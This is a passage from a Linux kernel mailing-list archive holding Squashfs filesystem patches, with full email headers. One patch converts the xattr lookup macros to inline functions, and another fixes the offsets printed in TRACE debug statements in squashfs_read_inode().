a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -107,21 +107,6 @@ static inline int squashfs_block_size(__le32 raw) return (size >> 25) ? -EIO : size; } =20 -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES(A) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK(A) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET(A) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS(A) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES(A) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64)) /* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES(A) (((u64) (A)) * sizeof(struct squashfs_xat= tr_id)) =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index aafc75a3a435..b9c517a50642 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_bytes(u32 inod= es) { return squashfs_lookup_blocks(inodes) * sizeof(long long); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes(u16 ids) +{ + return (s32) ids * sizeof(unsigned int); +} + +static inline s32 squashfs_id_block(u16 ids) +{ + return squashfs_id_bytes(ids) / SQUASHFS_METADATA_SIZE; +} + +static inline s16 squashfs_id_block_offset(u16 ids) +{ + return squashfs_id_bytes(ids) % SQUASHFS_METADATA_SIZE; +} + +static inline s8 squashfs_id_blocks(u16 ids) +{ + return (squashfs_id_bytes(ids) + (SQUASHFS_METADATA_SIZE - 1)) / + SQUASHFS_METADATA_SIZE; +} + +static inline s16 squashfs_id_block_bytes(u16 ids) +{ + return squashfs_id_blocks(ids) * sizeof(long long); +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=92.204.81.45 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405423; b=QNPaxKNO4kCuyS6dsrWxHcLoWrvTB6/L525F+o3Y36VW7XIeDHFJWrycEfFnINpqZzY0 KwBpUDkU4szWaEuKpJyLJZaGnkfifSGkQv+/1Y5ymSEFN8zfF4+o6Ub8fFINDHIRoZ60g Gx1MWk8ltbVJKpoW87lOoHLEjPFtdh0EW/hgndNroIcpA5HcT1x9WMTRhwPpoPxyGUJCg D95HkdQmlT5D0ozxkZTwc5xHer2g9OK1RUEGOVib627/dv29bQ2VF7UfG96966FNMKfS4 RjKrdp+mFO4Spt2fHDifmwB5fgWWbnDa7orCVH9HX1aVYnknvfwjyXMxkyi6aW0rqxw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405423; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=aqRtGXWkaC7PCxP2PmJbUP8tctz7ibhbTRejaXlW1Gk=; b=R/n1LAD4sDGhL94VpJfhONSzUQsXoRmUK1swE1yTbVOxR/rdnCfSs6bepogHASOpGB9R EPBe9Cqj5wCf3mSC9IkyHCn/DXi+PiDsS2ukVtGDKo727CxYfj3H4XaVHckK08rPvp7Qk UsklGFf6a7SijJShnH1Io7OA2Tdud35BE3F/qYlZ3r/x0CSf/fcKcGVzlJaoCkP60f9IA ncEJsZr/IBeyzMgGJuJVJ5vA5x7bpLbPkRcFrlHEr0kXyt8aqn2+msJBMSa3HkFh6anve O4EcdO4MjOOaU03g0z1WxSOqQRWJBBYCOnHEIL4jVgYaluV4saD+iaejmEGDNcCxNuw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b="XXP/g540"; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bbcfLkdM; arc=none smtp.remote-ip=92.204.81.45 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.45]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 9A95D606A333 for ; Mon, 23 Nov 2026 03:43:42 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 9A95D606A333 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=XXP/g540; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bbcfLkdM Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxpxiqQW; Mon, 23 Nov 2026 03:43:34 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405415; bh=aqRtGXWkaC7PCxP2PmJbUP8tctz7ibhbTRejaXlW1Gk=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=XXP/g540SVObMt7fDWAItji8J5U1JjEJMSavy363UPlBcEVxIiInUwRwprWz2C2Qj u9UMgjOcqTgKnfXCwffwn5aCnaLknl7sxl/W4zjgVzel+Sx55J10Q90X8RjggUNFUA kQoxMGzsy8fpXcMxM0HXeeyYanztK1FLlChORDVx+v7b12EkTIzTwb81nWThG6j0z6 stTFcZKsQbfIKkdu8o/xRKmjsLq4xneQG/sRBLwSCrKnB+f0Kmpj5LmKGdthubkgey N11t8dV6+bPXOaKN12FZiro7GTqJjzNV1cb1snFD9qDAR9NK4KQfbGdfYC/hM52JWL nbLojv4ddtKWw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405415; bh=aqRtGXWkaC7PCxP2PmJbUP8tctz7ibhbTRejaXlW1Gk=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=bbcfLkdMW5dvkzwTOLxugxrI8LYb4VABybw+ukZ7GBwCuwGO8eXtZMR0Nw0NqrvLn 2MzheooXKjWvYxa7xw0gEOmbwBIrxIj06taTENouIRRtYpsBJcjRv1MEvHbyGTiEYg FVP0ixKPifIBL94ix8+/V31bW4BCihVCVF3XcEm3cy2lZN+Mx1d2ijTzYp/2rtTWQo 1Rol/bOvV61dhnjS4yHJbBir4ViS33uRxiPL0a7z3nmBmJzkpKmrIV+qstmiCO+Y+S FZUGHL71jinwrZsxCeCLbzFgBT8/Kdi3l+5NJUhpdvhnn6/HK5pD8M3OgQGlJnsCZZ mdp6j8l/WQf/g== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b666 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=dA03S5-tUKIFcmplmssA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 243f5b758cf94337f0ecd98a859c731e:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 06/23] Squashfs: convert SQUASHFS_XATTR_* to inline functions Date: Mon, 23 Nov 2026 03:42:47 +0000 Message-ID: <20261123034304.261742-7-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfFB/wmdjuNjW5kBUINnb9ZPGpPDT+7aJ3xEfLP/lo+6Jv7cS0jTfFejaYlJS42Fq2LFM9uoaw0EyM17ubfChaVcWpgIdzi81/ODUfKSvSaTxo1bCbKTH AQZvHmn/5i52l3tJzekbvWA4eUIuC9fazdN8OftnlQHR+e3JX9rqgZHuzIoQbS3di1zQuFwAac8ZmsVwrjcA0QXTTJTOEf1YgrcqRecu6Dew0s8eaJ8xBeoT 9joVvG5by6J+Xya8TdF16zeDxO9oIzFUsu9BPbRWVdiLWB1zuCK9aIUb6m2yTchU Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- fs/squashfs/squashfs_fs.h | 19 ----------------- fs/squashfs/squashfs_helpers.h | 37 ++++++++++++++++++++++++++++++++++ fs/squashfs/xattr.c | 18 ++++++++--------- fs/squashfs/xattr_id.c | 9 +++++---- 4 files changed, 51 insertions(+), 32 deletions(-) diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index 25dd89a2c6ad..3e7d0730b2d9 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -107,25 +107,6 @@ static inline int squashfs_block_size(__le32 raw) return (size >> 25) ? -EIO : size; } =20 -/* xattr id lookup table defines */ -#define SQUASHFS_XATTR_BYTES(A) (((u64) (A)) * sizeof(struct squashfs_xat= tr_id)) - -#define SQUASHFS_XATTR_BLOCK(A) (SQUASHFS_XATTR_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_OFFSET(A) (SQUASHFS_XATTR_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCKS(A) ((SQUASHFS_XATTR_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_BYTES(A) (SQUASHFS_XATTR_BLOCKS(A) *\ - sizeof(u64)) -#define SQUASHFS_XATTR_BLK(A) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_XATTR_OFFSET(A) ((unsigned int) ((A) & 0xffff)) - /* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8 =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index b9c517a50642..4088e598400f 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_bytes(u16 ids) { return squashfs_id_blocks(ids) * sizeof(long long); } + +/* xattr id lookup table defines */ +static inline s64 squashfs_xattr_bytes(u32 xattrs) +{ + return (s64) xattrs * sizeof(struct squashfs_xattr_id); +} + +static inline s32 squashfs_xattr_block(u32 xattrs) +{ + return squashfs_xattr_bytes(xattrs) / SQUASHFS_METADATA_SIZE; +} + +static inline s16 squashfs_xattr_block_offset(u32 xattrs) +{ + return squashfs_xattr_bytes(xattrs) % SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_xattr_blocks(u32 xattrs) +{ + return (squashfs_xattr_bytes(xattrs) + SQUASHFS_METADATA_SIZE - 1) / + SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_xattr_block_bytes(u32 xattrs) +{ + return squashfs_xattr_blocks(xattrs) * sizeof(long long); +} + +static inline u32 squashfs_xattr_blk(s64 xattr) +{ + return xattr >> 16; +} + +static inline s16 squashfs_xattr_offset(s64 xattr) +{ + return xattr & 0xffff; +} #endif diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c index ce6608cabd49..f9ef669544f8 100644 --- a/fs/squashfs/xattr.c +++ b/fs/squashfs/xattr.c @@ -19,6 +19,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" =20 static const struct xattr_handler *squashfs_xattr_handler(int); @@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer, struct inode *inode =3D d_inode(d); struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 start =3D SQUASHFS_XATTR_BLK(squashfs_i(inode)->xattr) - + msblk->xattr_table; - int offset =3D SQUASHFS_XATTR_OFFSET(squashfs_i(inode)->xattr); + u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + + msblk->xattr_table; + int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); int count =3D squashfs_i(inode)->xattr_count; size_t rest =3D buffer_size; int err; @@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct inode *inode, in= t name_index, { struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 start =3D SQUASHFS_XATTR_BLK(squashfs_i(inode)->xattr) - + msblk->xattr_table; - int offset =3D SQUASHFS_XATTR_OFFSET(squashfs_i(inode)->xattr); + u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + + msblk->xattr_table; + int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); int count =3D squashfs_i(inode)->xattr_count; int name_len =3D strlen(name); int err, vsize; char *target =3D kmalloc(name_len, GFP_KERNEL); - if (target =3D=3D NULL) return -ENOMEM; =20 @@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inode *inode, int = name_index, if (err < 0) goto failed; xattr =3D le64_to_cpu(xattr_val); - start =3D SQUASHFS_XATTR_BLK(xattr) + + start =3D squashfs_xattr_blk(xattr) + msblk->xattr_table; - offset =3D SQUASHFS_XATTR_OFFSET(xattr); + offset =3D squashfs_xattr_offset(xattr); } /* read xattr value */ err =3D squashfs_read_metadata(sb, &val, &start, &offset, diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c index c8469c656e0d..ff85247e2d80 100644 --- a/fs/squashfs/xattr_id.c +++ b/fs/squashfs/xattr_id.c @@ -19,6 +19,7 @@ =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h" =20 @@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigne= d int index, int *count, unsigned int *size, unsigned long long *xattr) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int block =3D SQUASHFS_XATTR_BLOCK(index); - int offset =3D SQUASHFS_XATTR_BLOCK_OFFSET(index); + int block =3D squashfs_xattr_block(index); + int offset =3D squashfs_xattr_block_offset(index); u64 start_block; struct squashfs_xattr_id id; int err; @@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *= sb, u64 table_start, if (*xattr_ids =3D=3D 0) return ERR_PTR(-EINVAL); =20 - len =3D SQUASHFS_XATTR_BLOCK_BYTES(*xattr_ids); - indexes =3D SQUASHFS_XATTR_BLOCKS(*xattr_ids); + len =3D squashfs_xattr_block_bytes(*xattr_ids); + indexes =3D squashfs_xattr_blocks(*xattr_ids); =20 /* * The computed size of the index table (len bytes) should exactly --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.39 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405430; b=OImMvgts1qdRcoG1vxk6HjinnWvj5X/GcuzCrpBS3ZPxEIphNVe0PmZfgYr9wmB8p330 Tf6zY+IMDOoyO4zS5eR4sL//++cSq/AWoFanpj8IeLWaHUxwwPHkLHzNF+489W44k+wsc KZV02lQ3x80lcd/wcf6tjgag/Xhh+vrtAgjBdaXM2oKppf1TN57L24kXhCvSbZRoGFrW7 Tji0pilFUndh7S2h1mvj1syNrXyCNgKr2PgTI/qgEpHksUwxc0NIzv3zF3Qjy/IWiEJhA 2H5iYjWPPkq0a6m/h3K3YJhq0XijjZepiFBFkREjLYQWODM19bQwF89TrNj6mwPINLg== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405430; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=9wlDNnuCvBStgBEGoigiOA7iJ7WaSzOQIuxUEhH7lXI=; b=0zx8OsWIhWBbFVG1/EHvuishWZd4XmSfPkmzS3ysnIisxfyzHn9l1hGrRrDXpG7TVsl6 sVMu6O7Q7G+uHzHLBya92AD7BQRbrnEyB3gAMOyeBMmHeK5fJ1SfYZIZSFKhTQzcAOQZA fcyS/DJqUwag5vqi4K6v7Swhhx5QmvFx+uwKqPhP1hh9GUDwH7khD2L3s13gaeV+0YHwZ CouYnPu8OJ5e8qAHGmfqMpzDNMEAX5rtM8biwtBUXlJOQZ0X1qIMwtbTLOkjDgq5ruiFV agMhbRDU5LGboFw0nXI41VQVq66aQp0vIW+SGyLZ7c8OjjAnrTsTqQKncuCr0ikiHhw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=lO94Pohb; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=YiKA4uaM; arc=none smtp.remote-ip=188.121.53.39 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.39]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 773FA60A261B for ; Mon, 23 Nov 2026 03:43:49 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 773FA60A261B Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=lO94Pohb; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=YiKA4uaM Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxrxiqQc; Mon, 23 Nov 2026 03:43:35 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405416; bh=9wlDNnuCvBStgBEGoigiOA7iJ7WaSzOQIuxUEhH7lXI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=lO94Pohb6bZdpSN/Sl1CAeiaMmzCA9jWXcKTF9V1po4AFz7lR1eJFDivM+7HhKNHy zKG2i54xZ5xKydBZjOC1FQk/2VppHEeanDBu08W0n663kv2I/KlScv6qmaiaPRc2ws vCvyjmylFn21KzZBLkxTTBxdytX4AkxMyEJQjl/xOSzHZNljZnPve3WziY2qUxcOvN qgSzMWio/kRF9ZTyom57eNiFyHy40EGTrZemvlVeeWVXGxXOadTehN+/P5XZLAwi01 aPrG2vdHrPQsbxstFQUjSKtcn9kAuLerS6A7cgk+HJ0BQmiH6LyqhAfummUEbZtmgK BFH3TXnt5wQmQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405416; bh=9wlDNnuCvBStgBEGoigiOA7iJ7WaSzOQIuxUEhH7lXI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=YiKA4uaMYXAzzRWs9M7er8g0vdYanxmxb8gBPRpw4tTQCC/t6ExogkxNVwLHO2Emt TC6yhWHD2cPwxtmhQ2Km5/SrzNBK8lxFZOaUKGTvCVYRv82MZBunZ90aEUz3zG2PTU uUPmJ89Bk7Wttcl3VWhMEOWTrIRDkwhVGChwasJv8JlsJ11/HxlMQsG/SH0BZvUs7N S0y4JLG2on6YK8UK2SjwmNcaSFedVcqUWJQBixH+f7hC3JMalpGrNjMS1KWBjEPvcY D9kDqbwdAmnbF7SMrlGqTtBdfk37eWmQ4cuF9sjtrW29N34RwQTkwGJ6AAlX0QcAIU qHOPqyu5tznKw== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b668 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=UIc8XRgxpZH_YXcB3xwA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: ac6a052ce4826977e1c9069078f38460:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 07/23] Squashfs: fix offset in squashfs_read_inode() TRACE statements Date: Mon, 23 Nov 2026 03:42:48 +0000 Message-ID: <20261123034304.261742-8-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfMAUTAhY1A/epJhoDbfarFqKYcNh44eIVEQodLJ5wSBY5YFhYfLWY4RF4ED8hWVgmGoDSNp84XXN30JkOyD3fDFMl/voM8Rodpu2wf2gGKQi8mzmuJWW QUXcpHl6Djpn3+HWps24ZcgKvnxNzxnTgYTmMc9RYL2A3q32kRQXh4xBBjxCNwAUKhODfo5Ct9rn+MomYg55/i2UewmwVGonddydgy2XxTg4uzuFVPG/Sl+j b3k4RVJbrSBjBpYcvRCFYdTNyi+Xw50EAvf0MKNh6xZvDs35MxTqLudEgshaywIg Content-Type: text/plain; charset="utf-8" The offset used in the TRACE statements has been advanced past the start of the inode header by the squashfs_read_metadata() call. This means the offset printed is incorrect. Fix this by using the original offset, which is obtained by calling squashfs_inode_offset(ino). Fixes: 6545b246a2c81 ("Squashfs: inode operations") Signed-off-by: Phillip Lougher --- fs/squashfs/inode.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index bc7c81d442f2..66858fabed1a 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -184,7 +184,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) =20 TRACE("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n", squashfs_inode_blk(ino), - offset, squashfs_i(inode)->start, block, offset); + squashfs_inode_offset(ino), + squashfs_i(inode)->start, block, offset); break; } case SQUASHFS_LREG_TYPE: { @@ -244,7 +245,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) =20 TRACE("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n", squashfs_inode_blk(ino), - offset, squashfs_i(inode)->start, block, offset); + squashfs_inode_offset(ino), squashfs_i(inode)->start, + block, offset); break; } case SQUASHFS_DIR_TYPE: { @@ -266,7 +268,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D le32_to_cpu(sqsh_ino->parent_inode); =20 TRACE("Directory inode %x:%x, start_block %llx, offset %x\n", - squashfs_inode_blk(ino), offset, + squashfs_inode_blk(ino), + squashfs_inode_offset(ino), squashfs_i(inode)->start, le16_to_cpu(sqsh_ino->offset)); break; @@ -293,7 +296,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D le32_to_cpu(sqsh_ino->parent_inode); =20 TRACE("Long directory inode %x:%x, start_block %llx, offset " - "%x\n", squashfs_inode_blk(ino), offset, + "%x\n", squashfs_inode_blk(ino), + squashfs_inode_offset(ino), squashfs_i(inode)->start, le16_to_cpu(sqsh_ino->offset)); break; @@ -337,8 +341,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) } =20 TRACE("Symbolic link inode %x:%x, start_block %llx, offset " - "%x\n", squashfs_inode_blk(ino), offset, - block, offset); + "%x\n", squashfs_inode_blk(ino), + squashfs_inode_offset(ino), block, offset); break; } case SQUASHFS_BLKDEV_TYPE: @@ -361,7 +365,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D 0; =20 TRACE("Device inode %x:%x, rdev %x\n", - squashfs_inode_blk(ino), offset, rdev); + squashfs_inode_blk(ino), + squashfs_inode_offset(ino), rdev); break; } case SQUASHFS_LBLKDEV_TYPE: @@ -386,7 +391,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) squashfs_i(inode)->parent =3D 0; =20 TRACE("Device inode %x:%x, rdev %x\n", - squashfs_inode_blk(ino), offset, rdev); + squashfs_inode_blk(ino), + squashfs_inode_offset(ino), rdev); break; } case SQUASHFS_FIFO_TYPE: --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.37 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405424; b=Y3zeZQs5Nx2JW2/iPHzrHunI+JTGnOMb7BjbquQMaRmEzrHg97Q8jWmiy4H7iscL5CeP Q3OA+24ST4YqUcLN3ZWik7ysJatMoGTeVmFXGLeaFH3NxHWFDuEK4NaK8ZYjed2//vT/6 VNDMjB4uYf3PROu4h/aOjeqwoLTe2mkn+PYvGA55XdN/GwFRoa3Ig+913/XPtAbNdtdX4 hF0C/2HR4uz5TmoirutsRIFcU7WAf2hE5POVSArLCPLhgmAYVYioWetj7QgZzIorFEqbN AqncflGz0veFSt7XjWFJTkHE1+n4Cp1oct6VcLhByxs0NvRnDY5o5iHIidG3MRZ6qJQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405424; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=4NZNd9Ji2ZS1mTLorjjVdHGN6FwnQ2eRZygTpuOg12s=; b=mq0h1TFVq0M1dO/q2/68E5vV2wj1dP5xNTl7M9I4R+4Mgl/lJNBTupEIFd6i6jb/USDU wzeZdRKevKx/NIcnNBYpAq1Ehmg2uIQYtaFiIXOAbY087dNjFhrzcBB1h78rPra8QwnGd 0MFJVfBvn0aIeM2Yt6w/1MyAj+zIyqPjgR1ELJ/U8dkpaF44pfKNpz6PRFYILoMnv++jY 6LpsvuNntzxqumsh2oPnERz2c19zlHg1vQCRFezz6V0SPffwl+4hiAxKYF3y2xXaSS/vq 11/NyzLF7ljcDuomogJxO1UTYlYRaEEwUyx/6PI9QtUv4TB7dJ5wrnzKTeI2yl0ASUg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=eTqwUnix; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=TU9f0OZp; arc=none smtp.remote-ip=188.121.53.37 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.37]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 4148C606A32D for ; Mon, 23 Nov 2026 03:43:43 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 4148C606A32D Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass 